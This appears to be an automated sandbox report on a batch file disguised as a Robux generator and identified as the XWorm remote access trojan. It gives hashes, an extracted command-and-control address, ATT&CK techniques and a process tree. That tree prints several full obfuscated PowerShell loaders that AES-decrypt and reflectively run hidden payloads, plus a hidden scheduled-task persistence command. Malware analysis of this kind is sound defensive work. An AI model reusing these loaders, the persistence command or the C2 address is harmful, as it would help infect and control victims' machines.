xworm | 01032160f6993e3ad4923eb6b990e1cbab55bfd9dcd34bada39e4fd56e0f380b

Analysis

max time kernel
86s
max time network
88s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
12/06/2024, 23:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
InfiniteRobuxV2.bat
Size 1.1MB
Sample240612-31mbrawdna
SHA256 01032160f6993e3ad4923eb6b990e1cbab55bfd9dcd34bada39e4fd56e0f380b
MD5 8dea57fcbda1c923bc786635013aeab9
SHA1 3d81d60e60a792c7e5842e8a38e3c7b2584571c4
SHA512 c1496c87b974fb466425c149deb6255d8304bc98225c3351ffd483b841ba94a564627d38297933996d7ec26076fe7312afd26c6d6d7d2214c7121e11b8092975
SSDEEP 24576:1FKp29R5rL8qbXuz7SyCL+xO8kh0114Zvu:1q20ss2q1J
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

today-minnesota.gl.at.ply.gg:15118

Mutex

XGhgHqjZ3WXf4kNE

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1908-108-0x000002931D610000-0x000002931D61E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
884	powershell.exe
3268	powershell.exe
3144	powershell.exe
1908	powershell.exe
1112	powershell.exe
4872	powershell.exe
4104	powershell.exe
3252	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\$rundll_726_str	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3252	powershell.exe
3252	powershell.exe
2692	powershell.exe
2692	powershell.exe
884	powershell.exe
884	powershell.exe
3268	powershell.exe
3268	powershell.exe
3144	powershell.exe
3144	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1112	powershell.exe
1112	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1112	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
4872	powershell.exe
4872	powershell.exe
4872	powershell.exe
1908	powershell.exe
1908	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	884	powershell.exe
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeIncreaseQuotaPrivilege	3144	powershell.exe
Token: SeSecurityPrivilege	3144	powershell.exe
Token: SeTakeOwnershipPrivilege	3144	powershell.exe
Token: SeLoadDriverPrivilege	3144	powershell.exe
Token: SeSystemProfilePrivilege	3144	powershell.exe
Token: SeSystemtimePrivilege	3144	powershell.exe
Token: SeProfSingleProcessPrivilege	3144	powershell.exe
Token: SeIncBasePriorityPrivilege	3144	powershell.exe
Token: SeCreatePagefilePrivilege	3144	powershell.exe
Token: SeBackupPrivilege	3144	powershell.exe
Token: SeRestorePrivilege	3144	powershell.exe
Token: SeShutdownPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeSystemEnvironmentPrivilege	3144	powershell.exe
Token: SeRemoteShutdownPrivilege	3144	powershell.exe
Token: SeUndockPrivilege	3144	powershell.exe
Token: SeManageVolumePrivilege	3144	powershell.exe
Token: 33	3144	powershell.exe
Token: 34	3144	powershell.exe
Token: 35	3144	powershell.exe
Token: 36	3144	powershell.exe
Token: SeIncreaseQuotaPrivilege	3144	powershell.exe
Token: SeSecurityPrivilege	3144	powershell.exe
Token: SeTakeOwnershipPrivilege	3144	powershell.exe
Token: SeLoadDriverPrivilege	3144	powershell.exe
Token: SeSystemProfilePrivilege	3144	powershell.exe
Token: SeSystemtimePrivilege	3144	powershell.exe
Token: SeProfSingleProcessPrivilege	3144	powershell.exe
Token: SeIncBasePriorityPrivilege	3144	powershell.exe
Token: SeCreatePagefilePrivilege	3144	powershell.exe
Token: SeBackupPrivilege	3144	powershell.exe
Token: SeRestorePrivilege	3144	powershell.exe
Token: SeShutdownPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeSystemEnvironmentPrivilege	3144	powershell.exe
Token: SeRemoteShutdownPrivilege	3144	powershell.exe
Token: SeUndockPrivilege	3144	powershell.exe
Token: SeManageVolumePrivilege	3144	powershell.exe
Token: 33	3144	powershell.exe
Token: 34	3144	powershell.exe
Token: 35	3144	powershell.exe
Token: 36	3144	powershell.exe
Token: SeIncreaseQuotaPrivilege	3144	powershell.exe
Token: SeSecurityPrivilege	3144	powershell.exe
Token: SeTakeOwnershipPrivilege	3144	powershell.exe
Token: SeLoadDriverPrivilege	3144	powershell.exe
Token: SeSystemProfilePrivilege	3144	powershell.exe
Token: SeSystemtimePrivilege	3144	powershell.exe
Token: SeProfSingleProcessPrivilege	3144	powershell.exe
Token: SeIncBasePriorityPrivilege	3144	powershell.exe
Token: SeCreatePagefilePrivilege	3144	powershell.exe
Token: SeBackupPrivilege	3144	powershell.exe
Token: SeRestorePrivilege	3144	powershell.exe
Token: SeShutdownPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeSystemEnvironmentPrivilege	3144	powershell.exe
Token: SeRemoteShutdownPrivilege	3144	powershell.exe
Token: SeUndockPrivilege	3144	powershell.exe
Token: SeManageVolumePrivilege	3144	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4796 wrote to memory of 4508	4796	cmd.exe	81
PID 4796 wrote to memory of 4508	4796	cmd.exe	81
PID 4796 wrote to memory of 3252	4796	cmd.exe	82
PID 4796 wrote to memory of 3252	4796	cmd.exe	82
PID 3252 wrote to memory of 2692	3252	powershell.exe	84
PID 3252 wrote to memory of 2692	3252	powershell.exe	84
PID 2692 wrote to memory of 2868	2692	powershell.exe	86
PID 2692 wrote to memory of 2868	2692	powershell.exe	86
PID 2868 wrote to memory of 936	2868	cmd.exe	87
PID 2868 wrote to memory of 936	2868	cmd.exe	87
PID 2868 wrote to memory of 884	2868	cmd.exe	88
PID 2868 wrote to memory of 884	2868	cmd.exe	88
PID 4436 wrote to memory of 3148	4436	cmd.exe	94
PID 4436 wrote to memory of 3148	4436	cmd.exe	94
PID 4436 wrote to memory of 3268	4436	cmd.exe	95
PID 4436 wrote to memory of 3268	4436	cmd.exe	95
PID 3268 wrote to memory of 3144	3268	powershell.exe	96
PID 3268 wrote to memory of 3144	3268	powershell.exe	96
PID 3268 wrote to memory of 2400	3268	powershell.exe	98
PID 3268 wrote to memory of 2400	3268	powershell.exe	98
PID 2400 wrote to memory of 1128	2400	WScript.exe	99
PID 2400 wrote to memory of 1128	2400	WScript.exe	99
PID 1128 wrote to memory of 2704	1128	cmd.exe	101
PID 1128 wrote to memory of 2704	1128	cmd.exe	101
PID 1128 wrote to memory of 1908	1128	cmd.exe	102
PID 1128 wrote to memory of 1908	1128	cmd.exe	102
PID 1908 wrote to memory of 3316	1908	powershell.exe	53
PID 1908 wrote to memory of 1376	1908	powershell.exe	23
PID 1908 wrote to memory of 3936	1908	powershell.exe	70
PID 1908 wrote to memory of 1176	1908	powershell.exe	19
PID 1908 wrote to memory of 1964	1908	powershell.exe	33
PID 1908 wrote to memory of 1820	1908	powershell.exe	31
PID 1908 wrote to memory of 1564	1908	powershell.exe	27
PID 1908 wrote to memory of 1548	1908	powershell.exe	26
PID 1908 wrote to memory of 1744	1908	powershell.exe	30
PID 1908 wrote to memory of 756	1908	powershell.exe	15
PID 1908 wrote to memory of 1728	1908	powershell.exe	35
PID 1908 wrote to memory of 540	1908	powershell.exe	14
PID 1908 wrote to memory of 1524	1908	powershell.exe	71
PID 1908 wrote to memory of 1120	1908	powershell.exe	18
PID 1908 wrote to memory of 1588	1908	powershell.exe	74
PID 1908 wrote to memory of 920	1908	powershell.exe	11
PID 1908 wrote to memory of 2464	1908	powershell.exe	43
PID 1908 wrote to memory of 2492	1908	powershell.exe	68
PID 1908 wrote to memory of 3476	1908	powershell.exe	55
PID 1908 wrote to memory of 4416	1908	powershell.exe	63
PID 1908 wrote to memory of 1684	1908	powershell.exe	29
PID 1908 wrote to memory of 1876	1908	powershell.exe	32
PID 1908 wrote to memory of 1672	1908	powershell.exe	28
PID 1908 wrote to memory of 3444	1908	powershell.exe	54
PID 1908 wrote to memory of 1272	1908	powershell.exe	22
PID 1908 wrote to memory of 4024	1908	powershell.exe	61
PID 1908 wrote to memory of 1264	1908	powershell.exe	21
PID 1908 wrote to memory of 1000	1908	powershell.exe	12
PID 1908 wrote to memory of 1060	1908	powershell.exe	17
PID 1908 wrote to memory of 2432	1908	powershell.exe	42
PID 1908 wrote to memory of 1052	1908	powershell.exe	16
PID 1908 wrote to memory of 2232	1908	powershell.exe	39
PID 1908 wrote to memory of 1044	1908	powershell.exe	51
PID 1908 wrote to memory of 1436	1908	powershell.exe	25
PID 1908 wrote to memory of 2420	1908	powershell.exe	41
PID 1908 wrote to memory of 3596	1908	powershell.exe	91
PID 1908 wrote to memory of 2608	1908	powershell.exe	48
PID 1908 wrote to memory of 2408	1908	powershell.exe	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:820
- C:\Windows\system32\DllHost.exe
  C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
  2⤵
  PID:4836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\svchost.bat" "
    3⤵
    PID:5000
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0r+0kyFBt0CB4/hGdDqpXDDHp0ZFdJ2yISJo1fJ42Xw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2eU97tnvMxgKqltgo/SJg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $keVus=New-Object System.IO.MemoryStream(,$param_var); $mUyJN=New-Object System.IO.MemoryStream; $kYZlL=New-Object System.IO.Compression.GZipStream($keVus, [IO.Compression.CompressionMode]::Decompress); $kYZlL.CopyTo($mUyJN); $kYZlL.Dispose(); $keVus.Dispose(); $mUyJN.Dispose(); $mUyJN.ToArray();}function execute_function($param_var,$param2_var){ $uJZpt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $mEYQo=$uJZpt.EntryPoint; $mEYQo.Invoke($null, $param2_var);}$HNCvy = 'C:\Users\Admin\AppData\Local\svchost.bat';$host.UI.RawUI.WindowTitle = $HNCvy;$rjaMb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HNCvy).Split([Environment]::NewLine);foreach ($ddjCn in $rjaMb) { if ($ddjCn.StartsWith('EyTFRVkAWjarRNfpfcEu')) { $trlof=$ddjCn.Substring(20); break; }}$payloads_var=[string[]]$trlof.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      4⤵
      PID:3236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      PID:1112
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$rundll_726_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$svchost_726.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4872
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$svchost_726.vbs"
        5⤵
        
        PID:2312
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$svchost_726.bat" "
        6⤵
        
        PID:4444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0r+0kyFBt0CB4/hGdDqpXDDHp0ZFdJ2yISJo1fJ42Xw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2eU97tnvMxgKqltgo/SJg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $keVus=New-Object System.IO.MemoryStream(,$param_var); $mUyJN=New-Object System.IO.MemoryStream; $kYZlL=New-Object System.IO.Compression.GZipStream($keVus, [IO.Compression.CompressionMode]::Decompress); $kYZlL.CopyTo($mUyJN); $kYZlL.Dispose(); $keVus.Dispose(); $mUyJN.Dispose(); $mUyJN.ToArray();}function execute_function($param_var,$param2_var){ $uJZpt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $mEYQo=$uJZpt.EntryPoint; $mEYQo.Invoke($null, $param2_var);}$HNCvy = 'C:\Users\Admin\AppData\Roaming\$svchost_726.bat';$host.UI.RawUI.WindowTitle = $HNCvy;$rjaMb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HNCvy).Split([Environment]::NewLine);foreach ($ddjCn in $rjaMb) { if ($ddjCn.StartsWith('EyTFRVkAWjarRNfpfcEu')) { $trlof=$ddjCn.Substring(20); break; }}$payloads_var=[string[]]$trlof.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        7⤵
        
        PID:3888
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1384

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2172

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:1044

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\InfiniteRobuxV2.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vTnhKptKvDQYRLqISyqUiWPokzGobfBxkJozZ/OjDQU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ty/UZ5VMMgwhyXUCWUNaCQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DOcdR=New-Object System.IO.MemoryStream(,$param_var); $WwEvW=New-Object System.IO.MemoryStream; $nDtUR=New-Object System.IO.Compression.GZipStream($DOcdR, [IO.Compression.CompressionMode]::Decompress); $nDtUR.CopyTo($WwEvW); $nDtUR.Dispose(); $DOcdR.Dispose(); $WwEvW.Dispose(); $WwEvW.ToArray();}function execute_function($param_var,$param2_var){ $bQLMq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WUPgJ=$bQLMq.EntryPoint; $WUPgJ.Invoke($null, $param2_var);}$LnVUR = 'C:\Users\Admin\AppData\Local\Temp\InfiniteRobuxV2.bat';$host.UI.RawUI.WindowTitle = $LnVUR;$Wfnxu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LnVUR).Split([Environment]::NewLine);foreach ($qmmLN in $Wfnxu) { if ($qmmLN.StartsWith('PAYzUHUqyEpEidvsMrDH')) { $ntRaZ=$qmmLN.Substring(20); break; }}$payloads_var=[string[]]$ntRaZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3252
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\AppData\Local\dllhost.bat
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2692
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\dllhost.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2868
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z2xC2h+C2t+xhefZVNgrwhVd+6cW81hKA09gr+Vgl4k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uJXvi7Nv9XV1R1jEsJpl9g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FYNnG=New-Object System.IO.MemoryStream(,$param_var); $ddxMX=New-Object System.IO.MemoryStream; $tCHGY=New-Object System.IO.Compression.GZipStream($FYNnG, [IO.Compression.CompressionMode]::Decompress); $tCHGY.CopyTo($ddxMX); $tCHGY.Dispose(); $FYNnG.Dispose(); $ddxMX.Dispose(); $ddxMX.ToArray();}function execute_function($param_var,$param2_var){ $FpgFt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IsQVI=$FpgFt.EntryPoint; $IsQVI.Invoke($null, $param2_var);}$gzWXE = 'C:\Users\Admin\AppData\Local\dllhost.bat';$host.UI.RawUI.WindowTitle = $gzWXE;$jVKyS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gzWXE).Split([Environment]::NewLine);foreach ($MYFti in $jVKyS) { if ($MYFti.StartsWith('mDQBKkDMpSmzSJjqvWce')) { $zEoKi=$MYFti.Substring(20); break; }}$payloads_var=[string[]]$zEoKi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:936
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1588

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\conhost.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:4436
- C:\Windows\system32\cmd.exe
